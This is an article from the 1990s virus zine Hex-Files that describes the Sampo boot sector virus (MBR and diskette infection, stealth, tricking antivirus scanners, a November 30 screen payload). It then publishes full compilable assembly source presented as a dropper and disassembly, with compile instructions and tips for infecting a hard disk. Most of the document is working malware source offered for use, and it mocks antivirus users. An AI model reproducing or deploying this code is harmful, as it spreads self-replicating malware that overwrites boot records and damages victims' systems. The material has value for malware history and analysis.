Copy Link
Add to Bookmark
Report
Hexfiles Issue 3 File 005
HEX-FILES No. 3 File 005
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Sampo Virus
Dropper Program and Disassembly
by YeZ
This is the very first boot sector virus I got infected with. And it
has been there in my disk for months. I only discovered this one when
I got into the virus scene, and that was way back '94-'95, my 4th
year High School days. This is the most common boot sector virus at
that time. Greetz to the SAMPO team. I wonder if they are still alive
and kicking in the virus scene?
Some facts about this virus...
Sampo infects boot sector of diskettes and master boot record of hard
drives. It occupies five disk sectors, in addition to the boot code,
to store its codes and the uninfected boot sector/MBR. In hard disks,
this is in track 0 head 0 sectors 10 to 14. In diskettes, this is in
head 1 sectors 1 to 5 of the diskette's last track. These diskette
sectors might be overwritten with data on the normal use of a
diskette and that is a big problem of Sampo if it happens.
It reserves 6K of memory and hooks int 8, 9 and 13. Int 8 and 9 are
only hooked if Sampo is loaded in memory through a diskette boot. But
int 9 is only hooked on Novemeber 30th of any year.
Before it goes memory resident, Sampo checks whether Joshi,
Stoned.Michelangelo, Stoned.Standard and one other virus, had gone
resident ahead of it. If so, it restores the interrupts hooked by
these viruses and overwrites the memory they reserved. Because Sampo
restores the original content of total system memory at [0:413], it
might not return the correct value if it disables any of the four
viruses.
It is a stealth virus. Sampo presents the original MBR whenever there
is an attempt to read the infected MBR. It does not do this on read
of diskette boot sectors. What Sampo does is, it makes a fool out of
AV programs -- it turns them into trojans. Sampo presents the
Telefonica boot sector codes when they scan a write-protected
diskette. (I have a copy of the virus which uses Joshi instead of
Telefonica. I also heard there was one using Stoned but have not seen
it. -- PsK) You, the trustful user of AV programs have to abide by
the bidding of your AV master and remove the disk's write-protection.
And just like that, your AV master did not find anything this time
around. Sampo came out laughing on its travel around the world piggy
backing on the stupidity of AVs. This is the reason how Sampo became
the most successful virus to come out of the Philippines, so far....
It survives a warm reboot, that is, if the virus became resident
through a diskette boot. It screens for the Alt-Ctrl-Del key
combination and will emulate a system boot and stays memory resident.
It does not do this on hard disks infection because hard disks are
fixed while you can have several bootable diskettes, some of which
might not be infected. Got the logic?
"WoW!" It has a Payload! On November 30th of any year, the virus sets
up a timer which would be triggered in 2 hours. When triggered, the
virus displays this message on the upper right corner of your screen:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º S A M P O º
º "Project X" º
º Copyright (c)1991 by the º
º SAMPO X-Team. All rights º
º reserved. º
º University Of The East º
º Manila º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Remember, that this will only happen if we boot from an infected
diskette, that is, drive A:\. It will never happen if you boot from
"your infected hard disk! C:\ :)".
The dropper program...
Here it is, the Sampo virus installer. This is not so user friendly
but I tried to make it as easy as possible for the user to manage.
All you have to do is answer the queries given to you by the program
and it will do the rest of the work.
This program will install Sampo on either drive A: or B: only. The
program will not let you install the virus on your hard drive. Why?
Because that is really a stupid thing to do, that is why! :) "But if
you want your hard disk infected, use this program to infect a
diskette and boot from it. Voila! your hard disk is possessed by the
SAMPO virus before you know it... :)". But, I nor the zine or anyone
of us, is liable to any damage made by the virus we publish. *Use at
your own RISK*. I think you are not LAME enough to play with things
you don't understand. Do you? In other words, if you do not know how
to handle computer viruses better not install it...
For any questions, suggestions or comments, send us an email at:
yez@rocketmail.com YeZ's email
phvx@hotmail.com PsK's email
ÄÄ DRPSAMPO.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄ Sampo Virus Dropper ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Written by YeZ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TASM 2.01 and MASM 5.0 would produce ÄÄÄÄÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ identical programs. ÄÄÄÄÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Code was not fixed for A86. ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE without options. ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: Sampo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author/s : SAMPO X-Team ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : University of the East ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Manila ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Program listing created by YeZ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
sampo_data segment at 0
org 7c40h
dpa_take label word
samp_cyl db ?
samp_secn db ?
samp_drv db ?
sampo_ext label dword
dw ? ;Offset of sampo extension
sampo_ext_seg dw ? ;Segment of sampo extension
virsig1 dw ?
virsig2 dw ?
virsig3 dw ?
virsig4 dw ?
sampo_data ends
Sampo segment 'code'
org 0
assume cs:sampo,ds:sampo_data
jmp sampo1
; This is the bios parameter block.
db 053h,041h,04Dh,050h,04Fh,035h,02Eh,030h,000h,002h,002h,001h,000h
db 002h,070h,000h,0D0h,002h,0FDh,002h,000h,009h,000h,002h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,029h,059h,065h,05Ah
db 028h,059h,065h,05Ah,020h,020h,020h,020h,020h,020h,020h,020h,046h
db 041h,054h,031h,032h,020h,020h,020h
sampo1: jmp short sampo_entry
samp_cyl2 db 27h ;Cylinder Address ; 360k, modified if not
samp_secn2 db 01h ;Sector Number address
loc_drv db 0 ;Drive booted (A:\)
dw 200h ;Offset of sampo extension
dw 0000 ;Segment of sampo extension
dw 0ace9h ;Virus signature 1 Stoned.Michelangelo
dw 1febh ;Virus signature 2 Joshi.A
dw 5eah ;Virus signature 3 Stoned.Standard
dw 15ebh ;Virus signature 4 ????????????????????
sampo_entry:
cli
mov ax,cs
mov ds,ax
mov ss,ax
mov sp,0f000h
mov cx,ax
add cx,6
mov ax,word ptr ds:[413h]
mov bx,200h
mov dx,ax
and ax,3ffh
rol ax,cl
mov es,ax
mov ax,dx
mov cx,es:[0]
cmp word ptr [virsig1],cx
je disk_type1
cmp word ptr [virsig2],cx
je disk_type2
cmp word ptr [virsig3],cx
je disk_type3
cmp word ptr [virsig4],cx
je disk_type4
mov dx,3dh
mov di,dx
mov si,7c00h
add si,dx
mov cx,27h
cld
repe cmpsb
je infected_sign
jmp try_infecting
infected_sign: ;In case the disk is already infected by the virus...
sti
xor ax,ax
push es
push bx
retf
disk_type1: ;In case virsig1 is detected...
mov di,4ch ;INT 13h (13h*4 = 4ch) :)
mov ax,es:[0ah]
mov [di],ax
mov ax,es:[0ch]
mov [di+2],ax
sub ax,4
jmp short try_infecting2
disk_type3:
mov di,4ch ;INT 13h ^
mov ax,es:[09]
mov [di],ax
mov ax,es:[0bh]
mov [di+2],ax
sub ax,4
jmp short try_infecting2
disk_type4:
mov di,4ch ;INT 13h ^
mov ax,word ptr ds:[1e4h]
mov [di],ax
mov ax,word ptr ds:[1e6h]
mov [di+2],ax
sub ax,4
jmp short try_infecting2
disk_type2:
mov di,20h ;INT 8 (8*4 = 20h)
mov ax,word ptr es:[27fh]
mov [di],ax
mov ax,word ptr es:[281h]
mov [di+2],bx
mov di,24h ;INT 9 (9*4 = 24h)
mov ax,word ptr es:[1cah]
mov [di],ax
mov ax,word ptr es:[1cch]
mov [di+2],ax
mov di,4ch ;INT 13h (13h*4 = 4ch)
mov ax,word ptr es:[7ach]
mov [di],ax
mov ax,word ptr es:[7aeh]
mov [di+2],ax
jmp short try_infecting3
try_infecting:
sub ax,6
try_infecting2:
mov word ptr ds:[413h],ax ; Subtract some RAM :)
try_infecting3:
sti
xor cx,cx
add cx,6
mov si,7c00h
and ax,3ffh
rol ax,cl
mov di,0
mov es,ax
mov cx,200h
cld
rep movsb
mov [sampo_ext_seg],es
do_disk_proc1:
xor ax,ax
int 13h
mov ax,0205h
mov ch,byte ptr [samp_cyl]
mov dh,1
mov dl,byte ptr [samp_drv]
cmp dl,80h
jne if_not_from_hd
mov dh,0
if_not_from_hd:
mov cl,byte ptr [samp_secn]
int 13h
jc do_disk_proc1
jmp short wow ;Is this to clear the PIQ ???? :)
wow:
mov ax,1 ;Ok to proceed with the virus functions.
jmp [sampo_ext] ;Jump to the extended portion of the virus...
port_3da_block: ;This sub routine is not executed by the virus
pushf
push ax
push bx
push cx
push dx
push ds
push es
push si
push di ;Push all registers and segments
mov dx,3dah ;Load port value
get_status_3da:
in al,dx ;Get port data to AL
test al,8 ;Mask it 00001000b
jz get_status_3da ;repeat if zero...
cli
xor ax,ax
mov dl,0ah ;Change the Port value in DX
out dx,al ;Set port data
xor al,8 ;xor data by 00001000b
out dx,al ;Set port data
mov dx,[dpa_take] ;get sampo's disk cylinder and sector number
xor al,1 ;xor port data by 00000001b
inc cl
mov dl,cl ;change our DL which holds the sector number
in al,dx ;get the port data
mov dx,3dah ;Load 3dah port to DX
get_status_3da2:
in al,dx ;get port data
test al,50h ;mask data by 01010000b
jnz get_status_3da2 ;if not zero then 3da port data again...
out dx,al ;set port data
xor al,50h ;xor port data by 01010000b
out dx,al ;set port data
pop di ;pop out all save registers and segments
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
retf
ret
; This is the preserved portion of the boot sector which represents the
; area of the partition table in hard disk's MBR.
db 00Dh,00Ah,04Eh,06Fh,06Eh,02Dh,053h,079h,073h,074h,065h,06Dh,020h,064h
db 069h,073h,06Bh,020h,06Fh,072h,020h,064h,069h,073h,06Bh,020h,065h,072h
db 072h,06Fh,072h,00Dh,00Ah,052h,065h,070h,06Ch,061h,063h,065h,020h,061h
db 06Eh,064h,020h,070h,072h,065h,073h,073h,020h,061h,06Eh,079h,020h,06Bh
db 065h,079h,020h,077h,068h,065h,06Eh,020h,072h,065h,061h,064h,079h,00Dh
db 00Ah,000h,049h,04Fh,020h,020h,020h,020h,020h,020h,053h,059h,053h,04Dh
db 053h,044h,04Fh,053h,020h,020h,020h,053h,059h,053h,000h,000h,055h,0AAh
;****************************************************************************
;This is the part of the virus which resides some place else on the disk away
;from the boot sector virus loader. This where the virus's real code is...
;Have fun!!!
;*******************************************************************YeZ******
sampo_extension:
assume cs:sampo,ds:sampo
jmp short entry_sampo_ext
i8 label dword ;Buffer for INT 8h (Timer INT)
i8_off dw 0
i8_seg dw 0
i9 label dword ;Buffer for INT 9h (Keyboard INT)
i9_off dw 0
i9_seg dw 0
i13 label dword ;Buffer for INT 13h (Disk INT)
i13_off dw 0
i13_seg dw 0
timer_tick db 11h
total_ram dw 027ah
rem_ram dw 0280h
entry_sampo_ext:
cmp ax,1
je proceed_infection
jmp return_to_host
proceed_infection:
cli
push cs
pop ds
xor ax,ax
mov es,ax
cmp byte ptr ds:[loc_drv],80h ;Did we boot from the Hard drive?
je booted_from_hd ;Do not load virus's INT 8 & INT 9 :(
mov ah,4 ;Get real time clock date
int 1ah ;time clock interrupt
cmp dx,1130h ;Is the date November 30 ?
jne do_not_set_timer ;If not do not set time timer :)
mov al,byte ptr es:[46eh] ;get upper time tick status
mov byte ptr ds:[timer_tick],al ;save it in our code...
mov di,20h ;get INT 8 (4*8 = 20h
mov ax,es:[di]
mov word ptr ds:[i8_off],ax
mov ax,es:[di+2]
mov word ptr ds:[i8_seg],ax
mov es:[di],offset int8_proc ;load our INT 8 offset
mov ax,cs
mov es:[di+2],ax ;load our INT 8 segment
do_not_set_timer:
mov di,24h
mov ax,es:[di]
mov word ptr ds:[i9_off],ax
mov ax,es:[di+2]
mov word ptr ds:[i9_seg],ax
mov es:[di],offset int9_proc ;load our INT 9 offset
mov ax,cs
mov es:[di+2],ax ;load our INT 9 segment
booted_from_hd:
mov di,4ch
mov ax,es:[di]
mov word ptr ds:[i13_off],ax
mov ax,es:[di+2]
mov word ptr ds:[i13_seg],ax
mov es:[di],offset int13_proc ;load our INT 13h offset
mov ax,cs
mov es:[di+2],ax ;load our INT 13h segment
push es
push ds
pop es
pop ds
sti
mov ax,word ptr ds:[413h] ;Get total system RAM
mov word ptr es:[total_ram],ax ;save it
add ax,6 ;add 6*40h=180h bytes of RAM
mov word ptr es:[rem_ram],ax ;save it.
mov si,0
mov di,0c00h
mov cx,400h
cld
rep movsb
push cs
pop ds
mov di,1400h
mov si,700h
mov ah,13h
mov cx,100h
decrypt_payload:
lodsb
ror al,1
mov [di],ax
inc di
inc di
loop decrypt_payload
mov cx,1
read_omitting_cx:
mov bx,1000h
mov dx,80h
mov si,3
do_reading_1:
mov ax,201h
pushf
call ds:[i13]
jnc hd_part_found
xor ax,ax ;Try to read 3 times...
pushf
call ds:[i13]
dec si
jnz do_reading_1 ;if zero then no more reading
looks_infected:
jmp return_to_host ;ret :(
hd_part_found:
mov ax,4fh
mov di,ax
mov si,1000h
add si,ax
mov cx,27h
cld
repe cmpsb
je looks_infected
cmp byte ptr ds:[142h],80h ;Check if partition bootable
jne part_bootable ;if not :(
mov cx,0eh
mov byte ptr ds:[142h],0
jmp read_omitting_cx
part_bootable:
mov si,0a00h
mov di,1600h
mov cx,200h
cld
rep movsb
mov si,1000h
mov di,0a00h
mov cx,200h
rep movsb
mov si,3
mov bx,200h
mov cx,0ah
mov dx,80h
try_to_write_ext_229:
mov ax,0305h
mov [samp_cyl2],ch
mov [loc_drv],dl
mov [samp_secn2],cl
pushf
call ds:[i13]
jnc able_to_write_ext_24b
xor ax,ax
pushf
call ds:[i13]
dec si
jnz try_to_write_ext_229
jmp short return_to_host
able_to_write_ext_24b:
mov si,03eh
mov di,103eh
mov cx,15fh
rep movsb
mov ax,3cebh
mov word ptr ds:[1000h],ax
mov bx,1000h
mov cx,1
mov dx,80h
mov ax,0301h
pushf
call ds:[i13]
mov si,1600h
mov di,0a00h
mov cx,200h
rep movsb
return_to_host:
push cs
pop ds
xor ax,ax
mov es,ax
push ax
mov si,0a00h
mov di,7c00h
push di
mov cx,200h
cld
rep movsb
retf
int8_proc:
pushf
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
push cs
pop ds
xor ax,ax
mov es,ax
mov al,byte ptr es:[46eh] ;Get timer tick count
sub al,byte ptr ds:[timer_tick] ;Subtract with inititial timer tick
cmp al,2 ;Compare if 2 hours has been elapsed?
jb out_int8 ;Nop not yet :( "Sayang!"
mov ax,0b800h ;The timer payload !!! wow!
mov es,ax ;Load screen buffer segment.
mov di,68h
mov bx,9
mov si,1400h
mov dx,3dah
get_port_data8:
in al,dx
test al,4
jz get_port_data8
load_scr_payload:
mov cx,1ch
rep movsw
add di,68h
dec bx
jnz load_scr_payload
out_int8:
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[i8] ;Jmp to original INT 8
int9_proc: ;Virus INT 9
pushf
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
in al,60h ;Get inkey or keypressed character?
cmp al,53h ;Is it <Del>
je simulate_warm_reboot ;YYYYYeeeeeZZZZZ!!!!!
jmp out_int9 ;Back to INT 9
simulate_warm_reboot:
mov ax,0
mov es,ax
mov al,byte ptr es:[417h] ;Get keyboard character data byte ;)
and al,0ch ;Mask it?
cmp al,0ch ;Is <Ctrl> and <Alt> being pressed?
jne out_int9 ;Nop sorry boy!!!
start_simulating_warm_reboot:
cli
mov dx,61h
in al,dx ;Get 61h port data to AL
or al,80h ;Set Parity Check
out dx,al ;Set port
xor al,80h ;Unmask parity check bit
out dx,al ;Clear Parity Check
mov al,20h
out 20h,al ;Refresh Interrupts
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
cli
xor ax,ax
mov es,ax
push cs
pop ds
mov ax,word ptr ds:[total_ram]
mov word ptr es:[413h],ax ;Update 40:13 (total ram in system)
mov al,byte ptr es:[46eh] ;get initial timer tick...
mov byte ptr ds:[timer_tick],al ;update our virus initial timer tick.
mov si,0c00h ;load the pre-boot INTs
mov di,0
mov cx,400h
cld
rep movsb
sti
mov ax,02 ;Set cursor position.
int 10h
mov al,8 ;Enable I/O check
out 61h,al ;Set to port
mov ax,4 ;Set delay...
load_delay1:
mov cx,0ffffh
delay1:
loop delay1
dec ax
jnz load_delay1
mov al,0c8h ;Parity,Channel,I/O check
out 61h,al ;Set to port
mov al,48h ;Channel,I/O check
out 61h,al ;Set to port
mov ax,8 ;Load another delay
load_delay2:
mov cx,0ffffh
delay2:
loop delay2
dec ax
jnz load_delay2
mov ah,0eh ;write charater to screen
mov si,offset Give_space
cont_write_chr:
lodsb
or al,al
jz boot_the_system
int 10h
jmp cont_write_chr
boot_the_system:
mov byte ptr es:[417h],0
int 19h
Give_space:
or ax,0d0ah
or al,[bx+si]
out_int9: ;Back to real INT 9
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[i9]
int13_proc: ;Virus INT 13h
cmp ah,2 ;Is it read sector?
jne jmp_orig_i13 ;Nop :(
cmp cx,1 ;Are they tryin' to read sector 1?
jne jmp_orig_i13 ;Nop :(
cmp dh,0 ;Is it in head 0?
jne jmp_orig_i13 ;Nop :(
cmp bx,7c00h ;Is the Buffer located in the boot initialization.
je jmp_orig_i13 ;Yep :) We are booting from an infected disk!!!
cmp dl,80h ;Is it a hard drive?
je reset_hd_read ;Yep :) Reset hard disk read to sector 15 !!!
cmp dl,1 ;Is it above drive B:?
ja jmp_orig_i13 ;Yep :)
pushf
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[0c84h]
cmp word ptr ds:[84h],ax
je out_int13
mov ax,word ptr cs:[rem_ram]
mov word ptr ds:[413h],ax ;update total system ram
jmp short chk_if_infected
reset_hd_read:
mov cx,0eh
jmp_orig_i13:
jmp cs:[i13]
chk_if_infected:
push cs
pop ds
push cs
pop es
mov si,3
mov bx,1000h
mov dh,0
mov cx,1
read_again_13:
mov ax,0201h
pushf
call ds:[i13]
jnc ok_to_cont_13
xor ax,ax
pushf
call ds:[i13]
dec si
jnz read_again_13
jmp short out_int13
ok_to_cont_13:
mov ax,4fh
mov di,ax
mov si,1000h
add si,ax
mov cx,27h
cld
repe cmpsb
je out_int13 ;Already infected
mov ax,0301h ;Write the boot sector portion
mov cx,1
mov dh,0
pushf
call cs:[i13]
jc on_err_writing_boot ;Error writing shit !
jmp chk_disk_type ;Oke!
out_int13:
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[i13]
on_err_writing_boot:
cmp byte ptr ds:[1016h],2
je proceed_write_vir_ext
cmp byte ptr ds:[1016h],7
jne out_int13
proceed_write_vir_ext:
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
pushf
call cs:[i13]
pushf
push ax
push cx
push ds
push si
push di
mov ax,cs
mov ds,ax
mov di,1200h
mov si,800h
mov cx,200h
loop_this_out: ;Decrypting data...
lodsb
xor al,3
mov [di],al
inc di
loop loop_this_out
mov si,1200h
mov di,bx
mov cx,200h
cld
rep movsb
mov di,1200h
mov si,800h
mov cx,200h
loop_this_out2:
lodsb
mov [di],al
inc di
loop loop_this_out2
pop di
pop si
pop ds
pop cx
pop ax
popf
retf 2
chk_disk_type:
mov si,1000h
mov di,0a00h
mov cx,200h
cld
rep movsb
cmp byte ptr ds:[bx+15h],0fdh ;Check if Disk is a 360k 5.25" type
je reset_cyl ;Yep "Na Bulok se klase de disk!"
mov ch,4fh
jmp short proceed_write_ext
reset_cyl:
mov ch,27h
proceed_write_ext:
mov bx,200h ;Writing sampo extention to disk
mov byte ptr ds:[samp_cyl2],ch
mov dh,1
mov byte ptr ds:[loc_drv],0
mov cl,1
mov byte ptr ds:[samp_secn2],cl
mov ax,0305h
pushf
call ds:[i13]
jnc ok_ext
on_err_boot_set:
jmp on_err_writing_boot
ok_ext:
mov si,3eh ;Set-up boot sector portion of virus
mov di,103eh
mov cx,15fh
rep movsb
mov bx,1000h
mov ax,3cebh
mov [bx],ax
mov ax,0301h ;Write to boot sector
mov bx,1000h
mov cx,1
mov dh,0
pushf
call ds:[i13]
jc on_err_boot_set
jmp out_int13
;This is the virus extension this has no code only data :)
db 291 dup (0)
;Encrypted virus message
db 093h,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,077h,075h,040h,040h,040h,040h,040h,040h,040h,040h,0A6h,040h
db 082h,040h,09Ah,040h,0A0h,040h,09Eh,040h,040h,040h,040h,040h,040h
db 040h,040h,040h,075h,075h,040h,040h,040h,040h,040h,040h,040h,044h
db 0A0h,0E4h,0DEh,0D4h,0CAh,0C6h,0E8h,040h,0B0h,044h,040h,040h,040h
db 040h,040h,040h,040h,040h,075h,075h,040h,086h,0DEh,0E0h,0F2h,0E4h
db 0D2h,0CEh,0D0h,0E8h,040h,050h,0C6h,052h,062h,072h,072h,062h,040h
db 0C4h,0F2h,040h,0E8h,0D0h,0CAh,040h,075h,075h,040h,0A6h,082h,09Ah
db 0A0h,09Eh,040h,0B0h,05Ah,0A8h,0CAh,0C2h,0DAh,05Ch,040h,082h,0D8h
db 0D8h,040h,0E4h,0D2h,0CEh,0D0h,0E8h,0E6h,040h,075h,075h,040h,0E4h
db 0CAh,0E6h,0CAh,0E4h,0ECh,0CAh,0C8h,05Ch,040h,040h,040h,040h,040h
db 040h,040h,040h,040h,040h,040h,040h,040h,040h,040h,040h,075h,075h
db 040h,040h,0AAh,0DCh,0D2h,0ECh,0CAh,0E4h,0E6h,0D2h,0E8h,0F2h,040h
db 09Eh,0CCh,040h,0A8h,0D0h,0CAh,040h,08Ah,0C2h,0E6h,0E8h,040h,040h
db 075h,075h,040h,040h,040h,040h,040h,040h,040h,040h,040h,040h,09Ah
db 0C2h,0DCh,0D2h,0D8h,0C2h,040h,040h,040h,040h,040h,040h,040h,040h
db 040h,040h,075h,091h,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,09Bh,09Bh,09Bh,079h,000h,000h,000h,000h
;Encrypted Telefonica boot sector
db 0E8h,01Fh,093h,053h
db 040h,023h,057h,06Ch,06Ch,06Fh,070h,003h,003h,003h,003h,003h,003h
db 003h,003h,003h,003h,003h,003h,003h,003h,003h,003h,003h,003h,003h
db 0B8h,003h,07Fh,030h,0C3h,0F9h,08Dh,0D3h,088h,0E0h,0F8h,08Dh,0DBh
db 0A2h,010h,007h,04Bh,0A0h,010h,007h,0B2h,005h,0D0h,0E3h,08Dh,0C3h
db 0BAh,003h,001h,00Dh,01Ch,088h,0F0h,030h,0FCh,0FFh,0F0h,0A7h,005h
db 0B8h,0EDh,003h,050h,0C8h,0BFh,09Dh,091h,08Ch,09Dh,058h,09Dh,0DCh
db 0BDh,092h,088h,095h,0D1h,0A8h,0B9h,0B0h,0B9h,0BAh,0B3h,0B2h,0B5h
db 0BFh,0BDh,0DCh,0D4h,0BEh,09Dh,08Eh,09Fh,099h,090h,093h,092h,09Dh
db 0D5h,0F1h,0F6h,0FCh,043h,002h,005h,003h,06Bh,002h,00Bh,003h,083h
db 001h,002h,002h,0D3h,001h,001h,002h,063h,00Ah,00Eh,002h,0A3h,006h
db 007h,002h,043h,008h,00Dh,002h,0FCh,0FCh,005h,003h,0F7h,001h,001h
db 002h,0BBh,002h,000h,0CEh,010h,0C0h,0BEh,007h,003h,0BBh,002h,001h
db 0CEh,010h,070h,004h,031h,0E7h,0CEh,010h,04Eh,076h,0F1h,0C0h,09Fh
